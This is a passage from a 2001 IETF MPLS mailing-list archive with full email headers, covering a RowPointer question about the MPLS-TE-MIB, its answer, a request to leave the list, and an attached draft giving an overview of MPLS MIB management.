color=3D#0000ff>&nbsp;DESCRIPTION</FONT></STRONG></DIV>
<DIV><STRONG><FONT color=3D#0000ff>&nbsp;"Represents a pointer to a =
conceptual=20
row.&nbsp; The value is the</FONT></STRONG></DIV>
<DIV><STRONG><FONT color=3D#0000ff>&nbsp;name of the instance of the =
first=20
accessible columnar object</FONT></STRONG></DIV>
<DIV><STRONG><FONT color=3D#0000ff>&nbsp;in the conceptual=20
row.</FONT></STRONG></DIV>
<DIV>&nbsp;</DIV>
<DIV><STRONG><FONT color=3D#0000ff>&nbsp;For example, ifIndex.3 would =
point to the=20
3rd row in the</FONT></STRONG></DIV>
<DIV><STRONG><FONT color=3D#0000ff>&nbsp;ifTable (note that if ifIndex =
were=20
not-accessible, then</FONT></STRONG></DIV>
<DIV><STRONG><FONT color=3D#0000ff>&nbsp;ifDescr.3 would be used=20
instead)."</FONT></STRONG></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff>As per RowPointer definition we can't assign =
a OID=20
which is having permission not_accessible to RowPointer variable so it =
should=20
be</FONT></DIV>
<DIV><FONT color=3D#0000ff><STRONG><FONT color=3D#0000ff=20
face=3D"Times New Roman">mplsTunnelResourcePointer&nbsp; =3D=20
mplsResourceMaxRate.&lt;Index&gt; Here Index is=20
mplsTunnelResourceIndex.</FONT></STRONG></FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff size=3D3>Please correct me if I am =
wrong.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff>Regards</FONT></DIV>
<DIV><FONT color=3D#0000ff>Venkata Prasad P.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_00AE_01C15D3F.E430A2C0--



--------------InterScan_NT_MIME_Boundary
Content-Type: text/plain;
	name="InterScan_Disclaimer.txt"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="InterScan_Disclaimer.txt"
Content-Transfer-Encoding: 7bit

-------------------------------------------------------------------------------------------------------------------------
Information transmitted by this E-MAIL is proprietary to Wipro and/or its Customers and
is intended for use only by the individual or entity to which it is
addressed, and may contain information that is privileged, confidential or
exempt from disclosure under applicable law. If you are not the intended
recipient or it appears that this mail has been forwarded to you without
proper authority, you are notified that any use or dissemination of this
information in any manner is strictly prohibited. In such cases, please
notify us immediately at mailto:mailadmin@wipro.com and delete this mail
from your records.
----------------------------------------------------------------------------------------------------------------------

--------------InterScan_NT_MIME_Boundary--



From owner-mpls@UU.NET  Thu Oct 25 08:49:05 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA16890
	for <mpls-archive@lists.ietf.org>; Thu, 25 Oct 2001 08:49:04 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmgp00117;
	Thu, 25 Oct 2001 12:48:56 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmgp18373
	for mpls-outgoing; Thu, 25 Oct 2001 12:48:48 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlmgp18366
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 25 Oct 2001 12:48:46 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmgp01560
	for <mpls@uu.net>; Thu, 25 Oct 2001 12:48:03 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmgp17742
	for <mpls@uu.net>; Thu, 25 Oct 2001 12:48:21 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id IAA03875 for <mpls@uu.net>; Thu, 25 Oct 2001 08:48:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id IAA20589 for mpls@uu.net; Thu, 25 Oct 2001 08:48:02 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlmgp18234
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 25 Oct 2001 12:47:17 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmgp29139
	for <mpls@UU.NET>; Thu, 25 Oct 2001 12:46:57 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmgp15537
	for <mpls@UU.NET>; Thu, 25 Oct 2001 12:47:15 GMT
Received: from bucket.cisco.com (mirapoint@bucket.cisco.com [161.44.167.72]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id IAA03765; Thu, 25 Oct 2001 08:46:40 -0400 (EDT)
Received: from tnadeau-w2k.cisco.com (tnadeau-frame5.cisco.com [10.83.99.126])
	by bucket.cisco.com (Mirapoint)
	with ESMTP id ABE04592;
	Thu, 25 Oct 2001 08:46:38 -0400 (EDT)
Message-Id: <4.3.2.7.2.20011025084357.03d65cb0@bucket.cisco.com>
X-Sender: tnadeau@bucket.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Thu, 25 Oct 2001 08:47:37 -0400
To: "Venkata Prasad Piriya" <venkata.piriya@wipro.com>
From: Thomas Nadeau <tnadeau@cisco.com>
Subject: Re: Regarding RowPionter varaible in mplsTunnelTable
Cc: <mpls@UU.NET>, "Shashi" <shashidhar.patil@wipro.com>,
        "Arun  R" <arun.ram@wipro.com>, Cheenu Srinivasan <cheenu@alphion.com>
In-Reply-To: <00b201c15d11$cac4b200$a2dca8c0@alc.wipinfo.soft.net>
References: <751B6DD7A243D511AB9F0002557C5687014BE35A@HUAWEIMAIL>
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_85711005==_.ALT"
Sender: owner-mpls@UU.NET
Precedence: bulk

--=====================_85711005==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed


         Yes, the mplsTunnelResourcePointer needs to contain the OID of
the first accessible columnar object. The example has a typo. It should be
mplsTunnelResourceEntry.mplsTunnelResourceMaxRate.5.

         --Tom


>In mplsTunnelEntry it is defined that the columnar object 
>mplsTunnelResourcePointer as RowPointer.
>There is some confusion between definition of RowPointer and Example 
>mentioned in the draft-ietf-mpls-te-mib-07.txt
>section 8.
>In draft it was assign mplsTunnelResorceIndex.5.
>
>Following same as draft:
>
>mplsTunnelResourcePointer = mplsTunnelResourceIndex.5,
>As per SNMPV2_TC the row pointer as defined as follows:
>
>  RowPointer ::= TEXTUAL-CONVENTION
>  STATUS       current
>  DESCRIPTION
>  "Represents a pointer to a conceptual row.  The value is the
>  name of the instance of the first accessible columnar object
>  in the conceptual row.
>
>  For example, ifIndex.3 would point to the 3rd row in the
>  ifTable (note that if ifIndex were not-accessible, then
>  ifDescr.3 would be used instead)."
>
>As per RowPointer definition we can't assign a OID which is having 
>permission not_accessible to RowPointer variable so it should be
>mplsTunnelResourcePointer  = mplsResourceMaxRate.<Index> Here Index is 
>mplsTunnelResourceIndex.
>
>Please correct me if I am wrong.
>
>Regards
>Venkata Prasad P.
>
>



------------------------------------------------------------------------
Mathematics is the supreme nostalgia of our time. 
--=====================_85711005==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
<font size=3><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Yes, the
mplsTunnelResourcePointer needs to contain the OID of<br>
the first accessible columnar object. The example has a typo. It should
be<br>
mplsTunnelResourceEntry.mplsTunnelResourceMaxRate.5.<br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>--Tom<br>
<br>
<br>
</font><blockquote type=cite cite><font size=3 color="#0000FF">In
mplsTunnelEntry it is defined that the columnar object
mplsTunnelResourcePointer as RowPointer. </font><font size=3><br>
</font><font size=3 color="#0000FF">There is some confusion between
definition of RowPointer and Example mentioned in the
draft-ietf-mpls-te-mib-07.txt </font><font size=3><br>
</font><font size=3 color="#0000FF">section 8.</font><font size=3><br>
</font><font size=3 color="#0000FF">In draft it was assign
mplsTunnelResorceIndex.5.</font><font size=3><br>
&nbsp;<br>
</font><font size=3 color="#0000FF">Following same as
draft:</font><font size=3><br>
</font><font face="Courier New, Courier" size=2><br>
</font><font size=2 color="#0000FF"><b>mplsTunnelResourcePointer =
mplsTunnelResourceIndex.5,<br>
</b></font><font size=3 color="#0000FF">As per SNMPV2_TC the row pointer
as defined as follows:</font><font size=3><br>
&nbsp;<br>
</font><font size=3 color="#0000FF">&nbsp;<b>RowPointer ::=
TEXTUAL-CONVENTION</b></font><font size=3><br>
</font><font size=3 color="#0000FF"><b>&nbsp;STATUS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
current</b></font><font size=3><br>
</font><font size=3 color="#0000FF"><b>&nbsp;DESCRIPTION</b></font><font size=3><br>
</font><font size=3 color="#0000FF"><b>&nbsp;&quot;Represents a pointer
to a conceptual row.&nbsp; The value is the</b></font><font size=3><br>
</font><font size=3 color="#0000FF"><b>&nbsp;name of the instance of the
first accessible columnar object</b></font><font size=3><br>
</font><font size=3 color="#0000FF"><b>&nbsp;in the conceptual
row.</b></font><font size=3><br>
&nbsp;<br>
</font><font size=3 color="#0000FF"><b>&nbsp;For example, ifIndex.3 would
point to the 3rd row in the</b></font><font size=3><br>
</font><font size=3 color="#0000FF"><b>&nbsp;ifTable (note that if
ifIndex were not-accessible, then</b></font><font size=3><br>
</font><font size=3 color="#0000FF"><b>&nbsp;ifDescr.3 would be used
instead).&quot;</b></font><font size=3><br>
&nbsp;<br>
</font><font size=3 color="#0000FF">As per RowPointer definition we can't
assign a OID which is having permission not_accessible to RowPointer
variable so it should be</font><font size=3><br>
</font><font size=3 color="#0000FF"><b>mplsTunnelResourcePointer&nbsp; =
mplsResourceMaxRate.&lt;Index&gt; Here Index is
mplsTunnelResourceIndex.</b></font><font size=3><br>
&nbsp;<br>
</font><font size=3 color="#0000FF">Please correct me if I am
wrong.</font><font size=3><br>
&nbsp;<br>
</font><font size=3 color="#0000FF">Regards</font><font size=3><br>
</font><font size=3 color="#0000FF">Venkata Prasad
P.</font><font size=3><br>
&nbsp;<br>
&nbsp;<br>
</font></blockquote><br>
<br>
<br>
<div>------------------------------------------------------------------------</div>
Mathematics is the supreme nostalgia of our time. 
</html>

--=====================_85711005==_.ALT--



From owner-mpls@UU.NET  Thu Oct 25 09:09:33 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA17956
	for <mpls-archive@lists.ietf.org>; Thu, 25 Oct 2001 09:09:33 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmgq09875;
	Thu, 25 Oct 2001 13:09:28 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmgq09181
	for mpls-outgoing; Thu, 25 Oct 2001 13:09:21 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlmgq09176
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 25 Oct 2001 13:09:19 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmgq17317
	for <mpls@uu.net>; Thu, 25 Oct 2001 13:07:48 GMT
Received: from hotmail.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: f152.law11.hotmail.com [64.4.17.152])
	id QQlmgq27981
	for <mpls@uu.net>; Thu, 25 Oct 2001 13:08:07 GMT
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Thu, 25 Oct 2001 06:07:47 -0700
Received: from 169.144.32.143 by lw11fd.law11.hotmail.msn.com with HTTP;
	Thu, 25 Oct 2001 13:07:47 GMT
X-Originating-IP: [169.144.32.143]
From: "Bernd Scanlan" <rbscan@hotmail.com>
To: mpls@UU.NET
Subject: Remove from Mailing List
Date: Thu, 25 Oct 2001 09:07:47 -0400
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <F152eVwrblZz02H67yR000142b5@hotmail.com>
X-OriginalArrivalTime: 25 Oct 2001 13:07:47.0691 (UTC) FILETIME=[0B0AC3B0:01C15D56]
Sender: owner-mpls@UU.NET
Precedence: bulk

Please remove my address from the mailing list.

With Regards,



_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp



From owner-mpls@UU.NET  Thu Oct 25 09:20:43 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA18501
	for <mpls-archive@lists.ietf.org>; Thu, 25 Oct 2001 09:20:42 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmgr01014;
	Thu, 25 Oct 2001 13:20:38 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmgr10502
	for mpls-outgoing; Thu, 25 Oct 2001 13:20:32 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlmgr10497
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 25 Oct 2001 13:20:20 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmgr14721
	for <mpls@uu.net>; Thu, 25 Oct 2001 13:20:02 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmgr22399
	for <mpls@uu.net>; Thu, 25 Oct 2001 13:20:20 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id JAA06858 for <mpls@uu.net>; Thu, 25 Oct 2001 09:20:01 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id JAA22350 for mpls@uu.net; Thu, 25 Oct 2001 09:20:01 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlmgr10383
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 25 Oct 2001 13:19:10 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmgr22709
	for <mpls@UU.NET>; Thu, 25 Oct 2001 13:16:15 GMT
Received: from mail.alphion.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail.alphion.com [12.34.209.78])
	id QQlmgr14862
	for <mpls@UU.NET>; Thu, 25 Oct 2001 13:16:32 GMT
Received: by OPTONT with Internet Mail Service (5.5.2653.19)
	id <VNBF3Q1N>; Thu, 25 Oct 2001 09:33:35 -0400
Message-ID: <176689DD1922D511ABE10001022E4DF229C6C1@OPTONT>
From: Cheenu Srinivasan <cheenu@alphion.com>
To: "'mpls@UU.NET'" <mpls@UU.NET>,
        "'ccamp@ops.ietf.org'"
	 <ccamp@ops.ietf.org>
Subject: draft-ietf-mpls-mgmt-overview-00.txt posted
Date: Thu, 25 Oct 2001 09:33:29 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/mixed;
	boundary="----_=_NextPart_000_01C15D59.A1CC7C50"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01C15D59.A1CC7C50
Content-Type: text/plain

I have posted draft-ietf-mpls-mgmt-overview-00.txt and it should
appear on the IETF site shortly. A copy of this I-D is attached.

Cheenu

> -----Original Message-----
> From: George Swallow [mailto:swallow@cisco.com]
> Sent: Tuesday, October 23, 2001 4:37 PM
> Subject: Re: draft-nadeau-mpls-mgmt-overview-00.txt 
> 
> 
> Given that many have supported the idea and none have opposed, the
> above draft is accepted as a work group draft.
> 
> ...George


------_=_NextPart_000_01C15D59.A1CC7C50
Content-Type: text/plain;
	name="draft-ietf-mpls-mgmt-overview-00.txt"
Content-Disposition: attachment;
	filename="draft-ietf-mpls-mgmt-overview-00.txt"
Content-Transfer-Encoding: quoted-printable

Network Working Group                                Thomas D. Nadeau
Internet Draft                                    Cisco Systems, Inc.
Category: Informational                                             =20
Expires: April 2002                                 Cheenu Srinivasan
                                                        Alphion Corp.
                                                                    =20
                                                        Adrian Farrel
                                                 Movaz Networks, Inc.
                                                                    =20
                                                         October 2001
                              =20
                              =20
   Multiprotocol Label Switching (MPLS) Management Overview
                              =20
             draft-ietf-mpls-mgmt-overview-00.txt


Status of this Memo
  =20
   This document is an Internet-Draft and is in full
   conformance with all provisions of Section 10 of RFC 2026
   [RFC2026].
  =20
   Internet-Drafts are working documents of the Internet
   Engineering Task Force (IETF), its areas, and its working
   groups.  Note that other groups may also distribute working
   documents as Internet-Drafts.
  =20
   Internet-Drafts are draft documents valid for a maximum of
   six months and may be updated, replaced, or obsoleted by
   other documents at any time.  It is inappropriate to use
   Internet-Drafts as reference material or to cite them other
   than as "work in progress."
  =20
   The list of current Internet-Drafts can be accessed at
   http://www.ietf.org/ietf/1id-abstracts.txt.
  =20
   The list of Internet-Draft Shadow Directories can be
   accessed at http://www.ietf.org/shadow.html.


Table of Contents
    =20
  Abstract .....................................................  2
  1. Introduction ..............................................  2
  2. Terminology ...............................................  2
  3. The SNMP Management Framework .............................  3
  4. MIBs Addressed by the MPLS Management Framework ...........  4
  4.1. MPLS-TC-MIB .............................................  4
  4.2. MPLS-LSR-MIB ............................................  4
  4.2.1. Dependencies ..........................................  4
  4.3. MPLS-LDP-MIB ............................................  5
  4.3.1. Dependencies ..........................................  5
  4.4. MPLS-TE-MIB .............................................  5



Nadeau et al.               Expires April 2002               [Page 1]
=0C
Internet Draft          MPLS Management Overview         October 2001



  4.4.1. Dependencies ..........................................  5
  4.5. MPLS-FTN-MIB ............................................  6
  4.5.1. Dependencies ..........................................  6
  4.6. MPLS-LINK-BUNDLING-MIB ..................................  6
  4.6.1. Dependencies ..........................................  6
  4.7. PPVPN-MPLS-VPN-MIB ......................................  6
  4.7.1. Dependencies ..........................................  7
  5. Dependencies on Other IETF Working Groups .................  7
  5.1. Pseudo Wire Emulation Edge to Edge MIBs .................  7
  5.2. Provider Provisioned Virtual Private Network MIBs .......  7
  5.3. Common Control and Measurement Plane (CCAMP) WG .........  7
  6. Security Considerations ...................................  7
  7. Acknowledgments ...........................................  8
  8. References ................................................  8
  9. Authors' Addresses ........................................ 10
  10. Full Copyright Statement ................................. 11



Abstract
  =20
   This memo describes the Multi-Protocol Label Switching
   (MPLS) [RFC3031] management architecture and the inter-
   relationships between the different management information
   bases (MIBs).


1. Introduction
  =20
   This memo describes the  Management Architecture for Multi-
   Protocol Label Switching. In particular, it describes how
   various managed objects defined in various Management
   Information Base (MIB) documents model different aspects of
   Multi-Protocol Label Switching (MPLS) [MPLSArch].
   Furthermore, this document explains the interactions and
   dependencies between each of these documents.
  =20
   Comments should be made directly to the MPLS mailing list
   at mpls@uu.net.
  =20
  =20
  =20
   This draft does not propose any additions to the MPLS MIB
   framework, nor define any standards for the Internet
   community.  It is an informational draft.


2. Terminology
  =20
   This document uses terminology from the MPLS architecture



Nadeau et al.               Expires April 2002               [Page 2]
=0C
Internet Draft          MPLS Management Overview         October 2001



   document [MPLSArch] and various MPLS-related MIBs such as
   the MPLS-TC-MIB [TCMIB], MPLS-LSR-MIB [LSRMIB], MPLS-TE-MIB
   [TEMIB], MPLS-LDP-MIB [LDPMIB], MPLS-FTN-MIB [FTNMIB], and
   the MPLS-LINK-BUNDLING-MIB [LBMIB].


3. The SNMP Management Framework
  =20
   The SNMP Management Framework presently consists of five
   major components:
  =20
   -  An overall architecture, described in RFC 2571
      [RFC2571].
  =20
   -  Mechanisms for describing and naming objects and events
      for the purpose of management.  The first version of
      this Structure of Management Information (SMI) is
      called SMIv1 and described in STD 16, RFC 1155
      [RFC1155], STD 16, RFC 1212 [RFC1212] and STD 16, RFC
      1215 [RFC1215].  The second version, called SMIv2, is
      described in STD 58, RFC 2578 [RFC2578], STD 58, RFC
      2579 [RFC2579] and STD 58, RFC 2580 [RFC2580].
  =20
   -  Message protocols for transferring management
      information.  The first version of the SNMP message
      protocol is called SNMPv1 and described in STD 15, RFC
      1157 [RFC1157].  A second version of the SNMP message
      protocol, which is not an Internet standards track
      protocol, is called SNMPv2c and described in RFC 1901
      [RFC1901] and RFC 1906 [RFC1906].  The third version of
      the message protocol is called SNMPv3 and described in
      RFC 1906 [RFC1906], RFC 2572 [RFC2572] and RFC 2574
      [RFC2574].
  =20
   -  Protocol operations for accessing management
      information.  The first set of protocol operations and
      associated PDU formats is described in STD 15, RFC 1157
      [RFC1157].  A second set of protocol operations and
      associated PDU formats is described in RFC 1905
      [RFC1905].
  =20
   -  A set of fundamental applications described in RFC 2573
      [RFC2573] and the view-based access control mechanism
      described in RFC 2575 [RFC2575].
  =20
   A more detailed introduction to the current SNMP Management
   Framework can be found in RFC 2570 [RFC2570].
  =20
   Managed objects are accessed via a virtual information
   store, termed the Management Information Base or MIB.



Nadeau et al.               Expires April 2002               [Page 3]
=0C
Internet Draft          MPLS Management Overview         October 2001



   Objects in the MIB are defined using the mechanisms defined
   in the SMI.


4. MIBs Addressed by the MPLS Management Framework
  =20
   This section briefly explains what the purpose of each MPLS
   related MIB is and what it can be used for.  Each section
   contains a subsection that details the interdependencies
   between that MIB and any of the other MPLS MIBs.


4.1.  MPLS-TC-MIB
  =20
   The MPLS-TC-MIB [TCMIB] describes textual conventions
   [RFC2579] and object identities that may be common to MPLS-
   related MIBs. For example, the textual convention for
   representing an MPLS label should be commonly represented
   and used by all MPLS-related MIBs.


4.2.  MPLS-LSR-MIB
  =20
   The MPLS-LSR-MIB describes managed objects for modeling a
   Multi-Protocol Label Switching (MPLS) [RFC3031] Label
   Switch Router (LSR). In particular, this MIB is used to
   model and manage the basic label switching behavior and the
   label forwarding information base (LFIB) of an MPLS LSR. In
   doing so, the MIB provides a view of the LSPs that are
   being switched by the LSR in question.
  =20
   This MIB is the basis for many of the MPLS MIBs, since
   basic MPLS label switching is common to all MPLS
   applications.  In general, the MPLS-LSR-MIB provides a
   model of incoming labels on MPLS-enabled interfaces being
   mapped to outgoing labels on MPLS-enabled interfaces via a
   conceptual object called an MPLS cross-connect. MPLS cross-
   connect entries and their properties are represented in the
   MPLS cross-connect table (mplsXCTable) in the LSR MIB. MPLS
   cross-connect entries are typically referred to by other
   MIBs in order to reference the underlying MPLS LSP.
  =20
   For example, the MPLS-TE-MIB [TEMIB] models traffic
   engineered tunnels.  These tunnels map to one more
   underlying MPLS LSPs. Thus, the MPLS-TE-MIB's tunnel table
   (mplsTunnelTable) entries refer to the underlying LSP by
   pointing to entries in mplsXCTable.

4.2.1.   Dependencies
  =20



Nadeau et al.               Expires April 2002               [Page 4]
=0C
Internet Draft          MPLS Management Overview         October 2001



   This MIB does not directly depend upon any other MPLS MIBs.
   It does represent MPLS-enabled interfaces as entries in the
   Interfaces MIB [RFC2233] Interface Table (ifTable). This
   MIB imports several textual conventions from the MPLS-TC-
   MIB [TCMIB].


4.3.  MPLS-LDP-MIB
  =20
   The MPLS-LDP-MIB describes managed objects used to model
   and manage the Multiprotocol Label Switching Label
   Distribution Protocol (LDP).

4.3.1.   Dependencies
  =20
   The LDP MIB [LDPMIB] has three mapping tables -
   mplsLdpSesInLabelMapTable, mplsLdpSesOutLabelMapTable and
   mplsLdpSesXCMapTable - which map the LDP MIB=92s
   representation of LDP sessions to the underlying LSR MIB=92s
   representation of the LSPs created by these sessions by
   pointing to mplsInSegmentTable, mplsOutSegmentTable and
   mplsXCTable, respectively. The LDP MIB=92s mplsXCsFecsTable
   shows the relationship between between forwarding
   equivalence classes (FECs) and cross-connect entries by
   referring to entries in the LSR MIB=92s mplsXCTable.
  =20
   This MIB also imports several textual conventions from the
   MPLS-TC-MIB [TCMIB].


4.4.  MPLS-TE-MIB
  =20
   The MPLS-TE-MIB [TEMIB] describes managed objects that are
   used to model and manage MPLS Traffic Engineered (TE)
   Tunnels. The MIB is based around a table that represents TE
   tunnels that either originate at the LSR in question or
   traverse via or terminate on the LSR. Note that the later
   case is optional, as only tunnel "heads" are required to be
   represented. This MIB provides statistics and configuration
   objects needed for TE tunnels.

4.4.1.   Dependencies
  =20
   This MIB depends on the MPLS-LSR-MIB [LSRMIB] and
   Interfaces MIB [RFC2233]. Tunnel entries in the MPLS-TE-
   MIB=92s mplsTunnelTable refer to entries in mplsXCTable in
   the MPLS-LSR-MIB. When MPLS TE tunnels are represented as
   interfaces, entries for such tunnels in mplsTunnelTable
   have corresponding entries in the Interfaces MIB=92s
   [RFC2233] Interfaces Table (ifTable). This MIB also imports



Nadeau et al.               Expires April 2002               [Page 5]
=0C
Internet Draft          MPLS Management Overview         October 2001



   several textual conventions from the MPLS-TC-MIB [TCMIB].


4.5.  MPLS-FTN-MIB
  =20
   The MPLS-FTN-MIB [FTNMIB] describes managed objects that
   are used to model and manage the MPLS FEC-to-NHLFE mappings
   which take place at any LSR that is on the edge between an
   MPLS domain and a non-MPLS domain. On each such edge LSR,
   to map traffic from the non-MPLS domain into the MPLS
   domain, the FEC-to-NHLFE mapping objects in the MPLS-FTN-
   MIB must be supported.  In the case of an IP-to-MPLS
   mapping, the FEC objects describe IP 5-tuples representing
   IP source and destination ranges, protocol ranges etc.
   Matching IP packets can be mapped to an NHLFE which can
   either be an MPLS LSP or an MPLS TE tunnel.

4.5.1.   Dependencies
  =20
   This MIB relies directly on the MPLS-LSR-MIB [LSRMIB] and
   MPLS-TE-MIB [TEMIB]. FECs can be mapped to two types of
   NHLFEs by the MPLS-FTN-MIB. When the NHLFE is an LSP, the
   FEC-to-NHLFE mapping is accomplished by referring to a
   corresponding entry in mplsXCTable in the MPLS-LSR-MIB.
   When the NHLFE is an MPLS TE tunnel, this mapping is
   accomplished by referring to a corresponding entry in
   mplsTunnelTable in MPLS-TE-MIB.


4.6.  MPLS-LINK-BUNDLING-MIB
  =20
   The MPLS-LINK-BUNDLING-MIB [LBMIB] describes managed
   objects that are used to model and manage the MPLS TE
   interfaces, as well as the link bundling relationships that
   may exist between those interfaces.

4.6.1.   Dependencies
  =20
   The MPLS-LINK-BUNDLING-MIB [LBMIB] interacts directly only
   with the Interfaces MIB [RFC2233]; it references MPLS TE
   interfaces that are modeled by entries in the interfaces
   table (ifTable) in the Interfaces MIB [RFC2233].


4.7.  PPVPN-MPLS-VPN-MIB
  =20
   The PPVPN-MPLS-VPN-MIB [VPNMIB] describes managed objects
   that are used to model and manage RFC2277bis MPLS VPNs.
   This MIB contains tables which model virtual routing
   forwarding entries (VRFs), as well as the interfaces



Nadeau et al.               Expires April 2002               [Page 6]
=0C
Internet Draft          MPLS Management Overview         October 2001



   associated with those VRFs.

4.7.1.   Dependencies
  =20
   This MIB currently has no direct dependencies to any of the
   MPLS MIBs. This MIB does model MPLS VPN interfaces as
   entries in the Interfaces MIB [RFC2233].  This MIB may be
   modified in the future to import textual conventions from
   the MPLS-TC-MIB [TCMIB].


5. Dependencies on Other IETF Working Groups
  =20
   This section will detail the broad interactions between
   other working groups and the MPLS MIBs.


5.1.  Pseudo Wire Emulation Edge to Edge MIBs
  =20
   The Pseudo Wire Emulation Edge to Edge (pwe3) working group
   has produced a framework [PWE3ARCH] describes a framework
   for PWE3 MIBs. Since the PWE3 architecture includes the use
   of MPLS as an emulated service and as a PSN service, the
   MPLS MIBs described above may be leveraged.  This framework
   document describes the interactions between the MPLS MIBs
   and the PWE3 MIBs.


5.2.  Provider Provisioned Virtual Private Network MIBs
  =20
   At present, the Provider Provisioned Virtual Private
   Network (PPVPN) working group has not included a discussion
   of how the MPLS MIBs interact with the MIBs being produced
   by that working group.  The authors of this draft hope to
   make a forthcoming addition to their framework [PPVPNFW]
   document detailing these interactions. At the moment, there
   is only a single MIB produced which interacts with the MPLS
   MIBs, as this MIB is described above in section


5.3.  Common Control and Measurement Plane (CCAMP) WG
  =20
   At present, there are no MIBs produced by the CCAMP working
   group that interact directly with the MPLS MIBs.  However,
   in the future, the existing MPLS MIBs will need to be
